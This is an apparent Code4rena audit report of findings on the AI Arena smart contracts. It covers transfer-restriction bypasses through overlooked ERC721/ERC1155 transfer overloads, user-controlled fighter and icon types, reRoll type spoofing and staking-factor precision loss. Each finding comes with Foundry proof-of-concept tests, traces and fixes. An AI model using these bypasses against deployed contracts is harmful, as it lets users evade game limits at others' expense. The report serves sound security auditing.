AI Arena - Draiakoo's results

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/FighterFarm.sol#L539-L546 https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC721/ERC721.sol#L159-L162

Vulnerability details

Impact

The protocol is intended to only allow users to transfer his fighters when complying with the following conditions:

• The fighter has not staked NRN
• The receiver has less than 10 fighters Apart from the caller being either the owner or an approved address.

These conditions are checked before the transferFrom(address, address, uint256) and safeTransferFrom(address, address, uint256) functions via _ableToTransfer().

    function _ableToTransfer(uint256 tokenId, address to) private view returns(bool) {
        return (
          _isApprovedOrOwner(msg.sender, tokenId) &&
          balanceOf(to) < MAX_FIGHTERS_ALLOWED &&
          !fighterStaked[tokenId]
        );
    }

However, this condition can be bypassed because the ERC721 contract from OpenZeppelin has 3 methods to send and NFT between addresses. This function has the same name safeTransferFrom but with an extra bytes argument.

With this method, a user can transfer a fighter without complying this conditions. The potential implications of this are the following:

1. The invariant of each user having 10 fighters max is broken, because a user can now transfer a fighter to an address that does not check if it has less than 10 fighters.
2. A user can have unlimited amount of voltage for free. Because he can transfer the fighter between addresses that the same user holds and execute 10 battles from each address. Notice that creating addresses is free.
3. A user can bypass the dailyAllowance of a game item and buy as many of them as he wants. That is because the allowanceRemaining is attached to the address and the token ID of the fighter, hence since the user can transfer his fighter to alter accounts, these ones will be able to buy the daily quantity of that game item.

Proof of Concept

The following proofs of concepts are executed using the RankedBattle.t.sol setup

Proof of concept for the invariant breaking of having more than 10 fighters

    function testAnAddressCanHaveMoreThan10Fighters() public {
        address user1 = makeAddr("user1");
        address user2 = makeAddr("user2");
        for(uint256 i; i < 10; i++){
            _mintFromMergingPool(user1);
        }
        for(uint256 i; i < 10; i++){
            _mintFromMergingPool(user2);
        }
        assertEq(_fighterFarmContract.balanceOf(user1), 10);
        assertEq(_fighterFarmContract.balanceOf(user2), 10);
        vm.startPrank(user1);
        for(uint256 i; i < 10; i++){
            _fighterFarmContract.safeTransferFrom(user1, user2, i, "");
        }
        vm.stopPrank();
        assertEq(_fighterFarmContract.balanceOf(user2), 20);
    }

Output

Running 1 test for test/RankedBattle.t.sol:RankedBattleTest
[PASS] testAnAddressCanHaveMoreThan10Fighters() (gas: 7967800)
Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 11.43ms

Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)

Proof of concept for unlimited amount of voltage for free

    function testPOCUnlimitedAmountOfVoltage() public {
        address playerMainAccount = makeAddr("main account");
        address playerAlterAccount = makeAddr("alter account");
        _mintFromMergingPool(playerMainAccount);
        _fundUserWith4kNeuronByTreasury(playerMainAccount);
        vm.prank(playerMainAccount);
        _rankedBattleContract.stakeNRN(3_000 * 10 ** 18, 0);
        vm.startPrank(address(_GAME_SERVER_ADDRESS));
        // The player initiates 10 battles
        for(uint256 i; i < 10; i++){
            _rankedBattleContract.updateBattleRecord(0, 50, 0, 1500, true);
        }

        // At this point the user would have to either wait a day or user a VoltageBattery
        vm.expectRevert();
        _rankedBattleContract.updateBattleRecord(0, 50, 0, 1500, true);
        vm.stopPrank();

        // However, if the player transfers the fighter to an alter account, can initiate more battle for free
        vm.prank(playerMainAccount);
        // This is the only method that allows the transfer of the NFT, because the other methods are restricted
        _fighterFarmContract.safeTransferFrom(playerMainAccount, playerAlterAccount, 0, "");

        // Now the fighter can initiate 10 more fights
        vm.startPrank(address(_GAME_SERVER_ADDRESS));
        for(uint256 i; i < 10; i++){
            _rankedBattleContract.updateBattleRecord(0, 50, 0, 1500, true);
        }
        vm.stopPrank();
    }

Output

Running 1 test for test/RankedBattle.t.sol:RankedBattleTest
[PASS] testPOCUnlimitedAmountOfVoltage() (gas: 1294511)
Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 10.18ms

Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)

Tools Used

Manual review

Recommended Mitigation Steps

Add the _ableToTransfer() check in safeTransferFrom(address, address, uint256, bytes) function.

    function safeTransferFrom(
        address from, 
        address to, 
        uint256 tokenId,
        bytes memory data
    ) 
        public 
        override(ERC721, IERC721)
    {
        require(_ableToTransfer(tokenId, to));
        _safeTransfer(from, to, tokenId, "");
    }

Assessed type

ERC721

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/GameItems.sol#L291-L303

Vulnerability details

Impact

Game items have a property that determines wheather can be transfered or not.

    struct GameItemAttributes {
        string name;
        bool finiteSupply;
@>      bool transferable;
        uint256 itemsRemaining;
        uint256 itemPrice;
        uint256 dailyAllowance;
    } 

This property is checked each time a user tries to call the function safeTransferFrom that is overriden from the OpenZeppelin ERC1155 contract.

    function safeTransferFrom(
        address from, 
        address to, 
        uint256 tokenId,
        uint256 amount,
        bytes memory data
    ) 
        public 
        override(ERC1155)
    {
        require(allGameItemAttributes[tokenId].transferable);
        super.safeTransferFrom(from, to, tokenId, amount, data);
    }

However, this contract has an additional method to transfer ERC1155 tokens. This function is the safeBatchTransferFrom.

    function safeBatchTransferFrom(
        address from,
        address to,
        uint256[] memory ids,
        uint256[] memory values,
        bytes memory data
    ) public virtual {
        address sender = _msgSender();
        if (from != sender && !isApprovedForAll(from, sender)) {
            revert ERC1155MissingApprovalForAll(sender, from);
        }
        _safeBatchTransferFrom(from, to, ids, values, data);
    }

Since this function is not overriden by the contract it does not check if the item is transferable or not. As a result, non-transferable items will still be transferable via this method.

Proof of Concept

This test uses the setup from the GameItems.t.sol

    function testPOCNonTransferableItemsAreTransferable() public {
        address user = makeAddr("user");
        uint256 gameItemId = 0;
        _fundUserWith4kNeuronByTreasury(user);
        vm.prank(user);
        _gameItemsContract.mint(gameItemId, 1);
        vm.prank(_ownerAddress);
        _gameItemsContract.adjustTransferability(gameItemId, false);
        (,, bool transferable,,,) = _gameItemsContract.allGameItemAttributes(gameItemId);
        // Check that transferability for this game item is false
        assertEq(transferable, false);

        vm.startPrank(user);
        // Using safeTransferFrom it is not possible to transfer the game item
        vm.expectRevert();
        _gameItemsContract.safeTransferFrom(user, address(0xdead), gameItemId, 1, "");

        // However, using safeBatchTransferFrom it is possible to transfer the game item
        uint256[] memory ids = new uint256[](1);
        ids[0] = gameItemId;
        uint256[] memory amounts = new uint256[](1);
        amounts[0] = 1;
        _gameItemsContract.safeBatchTransferFrom(user, address(0xdead), ids, amounts, "");
        vm.stopPrank();
    }

Output traces

Running 1 test for test/GameItems.t.sol:GameItemsTest
[PASS] testPOCNonTransferableItemsAreTransferable() (gas: 190440)
Traces:
  [190440] GameItemsTest::testPOCNonTransferableItemsAreTransferable()
    ├─ [0] VM::addr(91992087827031385529631343486145185708010358789693783908930804305590475009462 [9.199e76]) [staticcall]
    │   └─ ← user: [0x6CA6d1e2D5347Bfab1d91e883F1915560e09129D]
    ├─ [0] VM::label(user: [0x6CA6d1e2D5347Bfab1d91e883F1915560e09129D], "user")
    │   └─ ← ()
    ├─ [0] VM::prank(0x7E5F4552091A69125d5DfCb7b8C2659029395Bdf)
    │   └─ ← ()
    ├─ [29938] Neuron::transfer(user: [0x6CA6d1e2D5347Bfab1d91e883F1915560e09129D], 4000000000000000000000 [4e21])
    │   ├─ emit Transfer(from: 0x7E5F4552091A69125d5DfCb7b8C2659029395Bdf, to: user: [0x6CA6d1e2D5347Bfab1d91e883F1915560e09129D], value: 4000000000000000000000 [4e21])
    │   └─ ← true
    ├─ [586] Neuron::balanceOf(user: [0x6CA6d1e2D5347Bfab1d91e883F1915560e09129D]) [staticcall]
    │   └─ ← 4000000000000000000000 [4e21]
    ├─ [0] VM::prank(user: [0x6CA6d1e2D5347Bfab1d91e883F1915560e09129D])
    │   └─ ← ()
    ├─ [109720] GameItems::mint(0, 1)
    │   ├─ [586] Neuron::balanceOf(user: [0x6CA6d1e2D5347Bfab1d91e883F1915560e09129D]) [staticcall]
    │   │   └─ ← 4000000000000000000000 [4e21]
    │   ├─ [26933] Neuron::approveSpender(user: [0x6CA6d1e2D5347Bfab1d91e883F1915560e09129D], 1000000000000000000 [1e18])
    │   │   ├─ emit Approval(owner: user: [0x6CA6d1e2D5347Bfab1d91e883F1915560e09129D], spender: GameItems: [0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f], value: 1000000000000000000 [1e18])
    │   │   └─ ← ()
    │   ├─ [4759] Neuron::transferFrom(user: [0x6CA6d1e2D5347Bfab1d91e883F1915560e09129D], 0x7E5F4552091A69125d5DfCb7b8C2659029395Bdf, 1000000000000000000 [1e18])
    │   │   ├─ emit Approval(owner: user: [0x6CA6d1e2D5347Bfab1d91e883F1915560e09129D], spender: GameItems: [0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f], value: 0)
    │   │   ├─ emit Transfer(from: user: [0x6CA6d1e2D5347Bfab1d91e883F1915560e09129D], to: 0x7E5F4552091A69125d5DfCb7b8C2659029395Bdf, value: 1000000000000000000 [1e18])
    │   │   └─ ← 0x0000000000000000000000000000000000000000000000000000000000000001
    │   ├─ emit TransferSingle(operator: user: [0x6CA6d1e2D5347Bfab1d91e883F1915560e09129D], from: 0x0000000000000000000000000000000000000000, to: user: [0x6CA6d1e2D5347Bfab1d91e883F1915560e09129D], id: 0, value: 1)
    │   ├─ emit BoughtItem(buyer: user: [0x6CA6d1e2D5347Bfab1d91e883F1915560e09129D], tokenId: 0, quantity: 1)
    │   └─ ← ()
    ├─ [0] VM::prank(GameItemsTest: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496])
    │   └─ ← ()
    ├─ [6908] GameItems::adjustTransferability(0, false)
    │   ├─ emit Locked(tokenId: 0)
    │   └─ ← ()
    ├─ [4214] GameItems::allGameItemAttributes(0) [staticcall]
    │   └─ ← "Battery", true, false, 9999, 1000000000000000000 [1e18], 10
    ├─ [0] VM::startPrank(user: [0x6CA6d1e2D5347Bfab1d91e883F1915560e09129D])
    │   └─ ← ()
    ├─ [0] VM::expectRevert(custom error f4844814:)
    │   └─ ← ()
    ├─ [1314] GameItems::safeTransferFrom(user: [0x6CA6d1e2D5347Bfab1d91e883F1915560e09129D], 0x000000000000000000000000000000000000dEaD, 0, 1, 0x)
    │   └─ ← EvmError: Revert
    ├─ [25554] GameItems::safeBatchTransferFrom(user: [0x6CA6d1e2D5347Bfab1d91e883F1915560e09129D], 0x000000000000000000000000000000000000dEaD, [0], [1], 0x)
    │   ├─ emit TransferBatch(operator: user: [0x6CA6d1e2D5347Bfab1d91e883F1915560e09129D], from: user: [0x6CA6d1e2D5347Bfab1d91e883F1915560e09129D], to: 0x000000000000000000000000000000000000dEaD, ids: [0], values: [1])
    │   └─ ← ()
    ├─ [0] VM::stopPrank()
    │   └─ ← ()
    └─ ← ()

Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 2.42ms

Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)

Tools Used

Manual review

Recommended Mitigation Steps

Override the safeBatchTransferFrom function from the ERC1155 contract in order to comply with the transferability parameter.

    function safeBatchTransferFrom(
        address from,
        address to,
        uint256[] memory ids,
        uint256[] memory amounts,
        bytes memory data
    ) 
        public 
        override(ERC1155)
    {
        for(uint256 i; i < ids.length; i++){
            require(allGameItemAttributes[ids[i]].transferable);
        }
        super.safeBatchTransferFrom(from, to, ids, amounts, data);
    }

Assessed type

Error

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/FighterFarm.sol#L233-L262

Vulnerability details

Impact

As stated by sponsor, iconType are unusual items that fighters can have when users obtained them in a really early stage. Thus only these early adopters should have these items. As we can see in claimFighters as well as mintFromMergingPool creates new fighters hardcoding this field to 0. That means that there is no possibility to have an icon from these functions.

      function claimFighters(
          uint8[2] calldata numToMint,
          bytes calldata signature,
          string[] calldata modelHashes,
          string[] calldata modelTypes
      ) 
          external 
      {
          ...
          for (uint16 i = 0; i < totalToMint; i++) {
              _createNewFighter(
                  msg.sender, 
                  uint256(keccak256(abi.encode(msg.sender, fighters.length))),
                  modelHashes[i], 
                  modelTypes[i],
                  i < numToMint[0] ? 0 : 1,
@>                0,    // IconType hardcoded to 0
                  [uint256(100), uint256(100)]
              );
          }
      }


      function mintFromMergingPool(
          address to, 
          string calldata modelHash, 
          string calldata modelType, 
          uint256[2] calldata customAttributes
      ) 
          public 
      {
          require(msg.sender == _mergingPoolAddress);
          _createNewFighter(
              to, 
              uint256(keccak256(abi.encode(msg.sender, fighters.length))),
              modelHash, 
              modelType,
              0,
@>            0,    // IconType hardcoded to 0
              customAttributes
          );
      }

However, if a user creates a fighter via redeemMintPass he can mint all his fighters with the iconType that he wants because it is directly passed from the arguments that the user provides.

      function redeemMintPass(
          uint256[] calldata mintpassIdsToBurn,
          uint8[] calldata fighterTypes,
@>        uint8[] calldata iconsTypes,
          string[] calldata mintPassDnas,
          string[] calldata modelHashes,
          string[] calldata modelTypes
      ) 
          external 
      {
          require(
              mintpassIdsToBurn.length == mintPassDnas.length && 
              mintPassDnas.length == fighterTypes.length && 
              fighterTypes.length == modelHashes.length &&
              modelHashes.length == modelTypes.length
          );
          for (uint16 i = 0; i < mintpassIdsToBurn.length; i++) {
              require(msg.sender == _mintpassInstance.ownerOf(mintpassIdsToBurn[i]));
              _mintpassInstance.burn(mintpassIdsToBurn[i]);
              _createNewFighter(
                  msg.sender, 
                  uint256(keccak256(abi.encode(mintPassDnas[i]))), 
                  modelHashes[i], 
                  modelTypes[i],
                  fighterTypes[i],
@>                iconsTypes[i],
                  [uint256(100), uint256(100)]
              );
          }
      }

Tools Used

Manual review

Recommended Mitigation Steps

Do not allow the user to add iconType for the fighters he want to mint. It should be determined by the protocol to only give these items to early adopters. Maybe it could be computed in the tokenURI when the mintPass is created and checked in this function to determine wheather or not the fighter can have an iconType.

     function redeemMintPass(
         uint256[] calldata mintpassIdsToBurn,
         uint8[] calldata fighterTypes,
-        uint8[] calldata iconsTypes,
         string[] calldata mintPassDnas,
         string[] calldata modelHashes,
         string[] calldata modelTypes
     ) 
         external 
     {
         require(
             mintpassIdsToBurn.length == mintPassDnas.length && 
             mintPassDnas.length == fighterTypes.length && 
             fighterTypes.length == modelHashes.length &&
             modelHashes.length == modelTypes.length
         );
         for (uint16 i = 0; i < mintpassIdsToBurn.length; i++) {
             require(msg.sender == _mintpassInstance.ownerOf(mintpassIdsToBurn[i]));
             _mintpassInstance.burn(mintpassIdsToBurn[i]);
             _createNewFighter(
                 msg.sender, 
                 uint256(keccak256(abi.encode(mintPassDnas[i]))), 
                 modelHashes[i], 
                 modelTypes[i],
                 fighterTypes[i],
-                iconsTypes[i],
+                0,
                 [uint256(100), uint256(100)]
             );
         }
     } 

Assessed type

Error

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/FighterFarm.sol#L233-L262

Vulnerability details

Impact

When someone mints a pass from AAMintPass, the number of fighters of each type to mint is determined by the signature provided. Hence, the offchain service will constrain the amount of each fighter to mint.

      function claimMintPass(
@>        uint8[2] calldata numToMint,
          bytes calldata signature,
          string[] calldata _tokenURIs
      ) 
          external 
      {
          require(!mintingPaused);
          bytes32 msgHash = bytes32(keccak256(abi.encode(
              msg.sender, 
@>            numToMint[0], 
@>            numToMint[1],
              passesClaimed[msg.sender][0],
              passesClaimed[msg.sender][1],
              _tokenURIs
          )));
          require(Verification.verify(msgHash, signature, delegatedAddress));
          uint16 totalToMint = uint16(numToMint[0] + numToMint[1]);
          require(_tokenURIs.length == totalToMint);
          passesClaimed[msg.sender][0] += numToMint[0];
          passesClaimed[msg.sender][1] += numToMint[1];
          for (uint16 i = 0; i < totalToMint; i++) {
              createMintPass(msg.sender, _tokenURIs[i]);
          }
      }

However, when redeeming these mint passes, the user can determine the fighterType for the NFTs he is going to mint. Thus, it makes no sense to control the amount of fighters to mint of each type with the signature because afterwards the user will be able to mint the fighters with the type he wishes.

      function redeemMintPass(
          uint256[] calldata mintpassIdsToBurn,
@>        uint8[] calldata fighterTypes,
          uint8[] calldata iconsTypes,
          string[] calldata mintPassDnas,
          string[] calldata modelHashes,
          string[] calldata modelTypes
      ) 
          external 
      {
          require(
              mintpassIdsToBurn.length == mintPassDnas.length && 
              mintPassDnas.length == fighterTypes.length && 
              fighterTypes.length == modelHashes.length &&
              modelHashes.length == modelTypes.length
          );
          for (uint16 i = 0; i < mintpassIdsToBurn.length; i++) {
              require(msg.sender == _mintpassInstance.ownerOf(mintpassIdsToBurn[i]));
              _mintpassInstance.burn(mintpassIdsToBurn[i]);
              _createNewFighter(
                  msg.sender, 
                  uint256(keccak256(abi.encode(mintPassDnas[i]))), 
                  modelHashes[i], 
@>                modelTypes[i],
                  fighterTypes[i],
                  iconsTypes[i],
                  [uint256(100), uint256(100)]
              );
          }
      }

Tools Used

Manual review

Recommended Mitigation Steps

Do not allow the user to pass arbitrary fighterType for the fighters he want to mint. It should be computed in the tokenURI when the mintPass is created and checked in this function to determine the fighterType for the NFT to mint.

     function redeemMintPass(
         uint256[] calldata mintpassIdsToBurn,
-        uint8[] calldata fighterTypes,
         uint8[] calldata iconsTypes,
         string[] calldata mintPassDnas,
         string[] calldata modelHashes,
         string[] calldata modelTypes
     ) 
         external 
     {
         require(
             mintpassIdsToBurn.length == mintPassDnas.length && 
             mintPassDnas.length == fighterTypes.length && 
             fighterTypes.length == modelHashes.length &&
             modelHashes.length == modelTypes.length
         );
         for (uint16 i = 0; i < mintpassIdsToBurn.length; i++) {
             require(msg.sender == _mintpassInstance.ownerOf(mintpassIdsToBurn[i]));
             _mintpassInstance.burn(mintpassIdsToBurn[i]);
             _createNewFighter(
                 msg.sender, 
                 uint256(keccak256(abi.encode(mintPassDnas[i]))), 
                 modelHashes[i], 
-                modelTypes[i],     // this should be extracted from the tokenURI of the mintPass
                 fighterTypes[i],
                 iconsTypes[i],
                 [uint256(100), uint256(100)]
             );
         }
     } 

Assessed type

Error

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/FighterFarm.sol#L370-L391

Vulnerability details

Impact

It is possible to call reRoll() function with an arbitrary fighterType even though it does not match with the fighter that you own. This involve the following:

1. Imagine that maxRerollsAllowed[0] = 3 and maxRerollsAllowed[1] = 5. If a user has a fighter with type 0, he should only be allowed to reroll 3 times. However, he can pass fighterType as 1 and he now could reroll up to 5 times.

2. The function to determine the element, weight and dna depends on the fighterType, that means that a user could provide this parameter for his own benefit.

3. When providing a fighterType that does not match with the tokenId, the generation for the fighter will change to the current generation for the fighterType provided. Eg: generation[0] = 10 and generation[1] = 20, if a user has a fighter type 0 and rerolls passing fighterType equal to 1, now his fighter will be of the 20th generation.

Tools Used

Manual review

Recommended Mitigation Steps

Rerolling should not involve passing as argument the fighterType and should obtain it instead from the current stats.

-    function reRoll(uint8 tokenId, uint8 fighterType) public {
+    function reRoll(uint8 tokenId) public {
+        uint8 fighterType = fighters[tokenId].dendroidBool ? 1 : 0;
         require(msg.sender == ownerOf(tokenId));
         require(numRerolls[tokenId] < maxRerollsAllowed[fighterType]);
         require(_neuronInstance.balanceOf(msg.sender) >= rerollCost, "Not enough NRN for reroll");

         _neuronInstance.approveSpender(msg.sender, rerollCost);
         bool success = _neuronInstance.transferFrom(msg.sender, treasuryAddress, rerollCost);
         if (success) {
             numRerolls[tokenId] += 1;
             uint256 dna = uint256(keccak256(abi.encode(msg.sender, tokenId, numRerolls[tokenId])));beneficial address
             (uint256 element, uint256 weight, uint256 newDna) = _createFighterBase(dna, fighterType);
             fighters[tokenId].element = element;
             fighters[tokenId].weight = weight;
             fighters[tokenId].physicalAttributes = _aiArenaHelperInstance.createPhysicalAttributes(
                 newDna,
                 generation[fighterType],
                 fighters[tokenId].iconsType,
                 fighters[tokenId].dendroidBool
             );
             _tokenURIs[tokenId] = "";
         }
     }    

Assessed type

Invalid Validation

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/RankedBattle.sol#L519-L535

Vulnerability details

Impact

To calculate the staking factor it is intended to be the square root of the amount of NRN staked. However since the order of computing the result is first converting the amount staked into NRN tokens by dividing by 10**18 and then doing the square root of that, there is a huge precision loss along the way. The computation also has a check to have a minimum value of 1 for the staking factor. This feature enable users to deposit 1 wei and get the exact same staking factor as someone who has staked 3_999999999999999999 NRN.

The proper way to not lose precision along the way would be the following procedure:

1. Compute the square root of the amount staked without dividing by 10**18.
2. Store the result with 18 decimal precision
3. When computing the points that a user deserves for a win, multiply this result with the elo
4. Divide this multiplication by 10**9 (half of the decimals)

Proof of Concept

I'm going to proof that a user depositing 1 wei can get the same staking factor as an other depositing 3_999999999999999999 NRN

    function testPOCStaking1Wei() public {
        address staker1 = vm.addr(3);
        address staker2 = vm.addr(4);
        _mintFromMergingPool(staker1);
        _mintFromMergingPool(staker2);
        _fundUserWith4kNeuronByTreasury(staker1);
        _fundUserWith4kNeuronByTreasury(staker2);
        vm.prank(staker1);
        _rankedBattleContract.stakeNRN(3_999999999999999999, 0);
        vm.prank(staker2);
        _rankedBattleContract.stakeNRN(1, 1);

        assertEq(_rankedBattleContract.stakingFactor(0), _rankedBattleContract.stakingFactor(1));
    }

Output traces

Running 1 test for test/RankedBattle.t.sol:RankedBattleTest
[PASS] testPOCStaking1Wei() (gas: 1192619)
Traces:
  [1192619] RankedBattleTest::testPOCStaking1Wei()
    ├─ [0] VM::addr(3) [staticcall]
    │   └─ ← 0x6813Eb9362372EEF6200f3b1dbC3f819671cBA69
    ├─ [0] VM::addr(4) [staticcall]
    │   └─ ← 0x1efF47bc3a10a45D4B230B5d10E37751FE6AA718
    ├─ [0] VM::prank(MergingPool: [0x349391A6596ACF133B947BB4544C329C217c227e])
    │   └─ ← ()
    ├─ [411521] FighterFarm::mintFromMergingPool(0x6813Eb9362372EEF6200f3b1dbC3f819671cBA69, "_neuralNetHash", "original", [1, 80])
    │   ├─ [83687] AiArenaHelper::createPhysicalAttributes(48996689164381339297717689236250537463348159120191593528428329245764461359606 [4.899e76], 0, 0, false) [staticcall]
    │   │   └─ ← FighterPhysicalAttributes({ head: 1, eyes: 4, mouth: 1, body: 1, hands: 0, feet: 1 })
    │   ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: 0x6813Eb9362372EEF6200f3b1dbC3f819671cBA69, tokenId: 0)
    │   ├─ [2260] FighterOps::d8d02d30(0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000005000000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000000) [delegatecall]
    │   │   ├─ emit FighterCreated(id: 0, weight: 80, element: 1, generation: 0)
    │   │   └─ ← ()
    │   └─ ← ()
    ├─ [0] VM::prank(MergingPool: [0x349391A6596ACF133B947BB4544C329C217c227e])
    │   └─ ← ()
    ├─ [405617] FighterFarm::mintFromMergingPool(0x1efF47bc3a10a45D4B230B5d10E37751FE6AA718, "_neuralNetHash", "original", [1, 80])
    │   ├─ [33083] AiArenaHelper::createPhysicalAttributes(15922139144508970251921684488907098986457820697341325828661115104427342081671 [1.592e76], 0, 0, false) [staticcall]
    │   │   └─ ← FighterPhysicalAttributes({ head: 2, eyes: 1, mouth: 2, body: 2, hands: 1, feet: 4 })
    │   ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: 0x1efF47bc3a10a45D4B230B5d10E37751FE6AA718, tokenId: 1)
    │   ├─ [2260] FighterOps::d8d02d30(0000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000005000000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000000) [delegatecall]
    │   │   ├─ emit FighterCreated(id: 1, weight: 80, element: 1, generation: 0)
    │   │   └─ ← ()
    │   └─ ← ()
    ├─ [0] VM::prank(0x7E5F4552091A69125d5DfCb7b8C2659029395Bdf)
    │   └─ ← ()
    ├─ [29938] Neuron::transfer(0x6813Eb9362372EEF6200f3b1dbC3f819671cBA69, 4000000000000000000000 [4e21])
    │   ├─ emit Transfer(from: 0x7E5F4552091A69125d5DfCb7b8C2659029395Bdf, to: 0x6813Eb9362372EEF6200f3b1dbC3f819671cBA69, value: 4000000000000000000000 [4e21])
    │   └─ ← true
    ├─ [586] Neuron::balanceOf(0x6813Eb9362372EEF6200f3b1dbC3f819671cBA69) [staticcall]
    │   └─ ← 4000000000000000000000 [4e21]
    ├─ [0] VM::prank(0x7E5F4552091A69125d5DfCb7b8C2659029395Bdf)
    │   └─ ← ()
    ├─ [25138] Neuron::transfer(0x1efF47bc3a10a45D4B230B5d10E37751FE6AA718, 4000000000000000000000 [4e21])
    │   ├─ emit Transfer(from: 0x7E5F4552091A69125d5DfCb7b8C2659029395Bdf, to: 0x1efF47bc3a10a45D4B230B5d10E37751FE6AA718, value: 4000000000000000000000 [4e21])
    │   └─ ← true
    ├─ [586] Neuron::balanceOf(0x1efF47bc3a10a45D4B230B5d10E37751FE6AA718) [staticcall]
    │   └─ ← 4000000000000000000000 [4e21]
    ├─ [0] VM::prank(0x6813Eb9362372EEF6200f3b1dbC3f819671cBA69)
    │   └─ ← ()
    ├─ [174270] RankedBattle::stakeNRN(3999999999999999999 [3.999e18], 0)
    │   ├─ [581] FighterFarm::ownerOf(0) [staticcall]
    │   │   └─ ← 0x6813Eb9362372EEF6200f3b1dbC3f819671cBA69
    │   ├─ [586] Neuron::balanceOf(0x6813Eb9362372EEF6200f3b1dbC3f819671cBA69) [staticcall]
    │   │   └─ ← 4000000000000000000000 [4e21]
    │   ├─ [26991] Neuron::approveStaker(0x6813Eb9362372EEF6200f3b1dbC3f819671cBA69, RankedBattle: [0xBB807F76CdA53b1b4256E1b6F33bB46bE36508e3], 3999999999999999999 [3.999e18])
    │   │   ├─ emit Approval(owner: 0x6813Eb9362372EEF6200f3b1dbC3f819671cBA69, spender: RankedBattle: [0xBB807F76CdA53b1b4256E1b6F33bB46bE36508e3], value: 3999999999999999999 [3.999e18])
    │   │   └─ ← ()
    │   ├─ [22279] Neuron::transferFrom(0x6813Eb9362372EEF6200f3b1dbC3f819671cBA69, RankedBattle: [0xBB807F76CdA53b1b4256E1b6F33bB46bE36508e3], 3999999999999999999 [3.999e18])
    │   │   ├─ emit Approval(owner: 0x6813Eb9362372EEF6200f3b1dbC3f819671cBA69, spender: RankedBattle: [0xBB807F76CdA53b1b4256E1b6F33bB46bE36508e3], value: 0)
    │   │   ├─ emit Transfer(from: 0x6813Eb9362372EEF6200f3b1dbC3f819671cBA69, to: RankedBattle: [0xBB807F76CdA53b1b4256E1b6F33bB46bE36508e3], value: 3999999999999999999 [3.999e18])
    │   │   └─ ← 0x0000000000000000000000000000000000000000000000000000000000000001
    │   ├─ [25859] FighterFarm::updateFighterStaking(0, true)
    │   │   ├─ emit Locked(tokenId: 0)
    │   │   └─ ← ()
    │   ├─ [4618] StakeAtRisk::getStakeAtRisk(0) [staticcall]
    │   │   └─ ← 0
    │   ├─ emit Staked(from: 0x6813Eb9362372EEF6200f3b1dbC3f819671cBA69, amount: 3999999999999999999 [3.999e18])
    │   └─ ← ()
    ├─ [0] VM::prank(0x1efF47bc3a10a45D4B230B5d10E37751FE6AA718)
    │   └─ ← ()
    ├─ [113967] RankedBattle::stakeNRN(1, 1)
    │   ├─ [581] FighterFarm::ownerOf(1) [staticcall]
    │   │   └─ ← 0x1efF47bc3a10a45D4B230B5d10E37751FE6AA718
    │   ├─ [586] Neuron::balanceOf(0x1efF47bc3a10a45D4B230B5d10E37751FE6AA718) [staticcall]
    │   │   └─ ← 4000000000000000000000 [4e21]
    │   ├─ [24991] Neuron::approveStaker(0x1efF47bc3a10a45D4B230B5d10E37751FE6AA718, RankedBattle: [0xBB807F76CdA53b1b4256E1b6F33bB46bE36508e3], 1)
    │   │   ├─ emit Approval(owner: 0x1efF47bc3a10a45D4B230B5d10E37751FE6AA718, spender: RankedBattle: [0xBB807F76CdA53b1b4256E1b6F33bB46bE36508e3], value: 1)
    │   │   └─ ← ()
    │   ├─ [4759] Neuron::transferFrom(0x1efF47bc3a10a45D4B230B5d10E37751FE6AA718, RankedBattle: [0xBB807F76CdA53b1b4256E1b6F33bB46bE36508e3], 1)
    │   │   ├─ emit Approval(owner: 0x1efF47bc3a10a45D4B230B5d10E37751FE6AA718, spender: RankedBattle: [0xBB807F76CdA53b1b4256E1b6F33bB46bE36508e3], value: 0)
    │   │   ├─ emit Transfer(from: 0x1efF47bc3a10a45D4B230B5d10E37751FE6AA718, to: RankedBattle: [0xBB807F76CdA53b1b4256E1b6F33bB46bE36508e3], value: 1)
    │   │   └─ ← 0x0000000000000000000000000000000000000000000000000000000000000001
    │   ├─ [23859] FighterFarm::updateFighterStaking(1, true)
    │   │   ├─ emit Locked(tokenId: 1)
    │   │   └─ ← ()
    │   ├─ [2618] StakeAtRisk::getStakeAtRisk(1) [staticcall]
    │   │   └─ ← 0
    │   ├─ emit Staked(from: 0x1efF47bc3a10a45D4B230B5d10E37751FE6AA718, amount: 1)
    │   └─ ← ()
    ├─ [496] RankedBattle::stakingFactor(0) [staticcall]
    │   └─ ← 1
    ├─ [496] RankedBattle::stakingFactor(1) [staticcall]
    │   └─ ← 1
    └─ ← ()

Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 5.86ms

Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)

Tools Used

Manual review

Recommended Mitigation Steps

As explained above I am going to implement the proper way to not lose precision with these calculations

    function _getStakingFactor(
        uint256 tokenId, 
        uint256 stakeAtRisk
    ) 
        private 
        view 
        returns (uint256) 
    {
      uint256 stakingFactor_ = FixedPointMathLib.sqrt(
-         (amountStaked[tokenId] + stakeAtRisk) / 10**18
+         (amountStaked[tokenId] + stakeAtRisk) 
      );
-     if (stakingFactor_ == 0) {
-       stakingFactor_ = 1;
-     }
      return stakingFactor_;
    }    


    function _addResultPoints(
        uint8 battleResult, 
        uint256 tokenId, 
        uint256 eloFactor, 
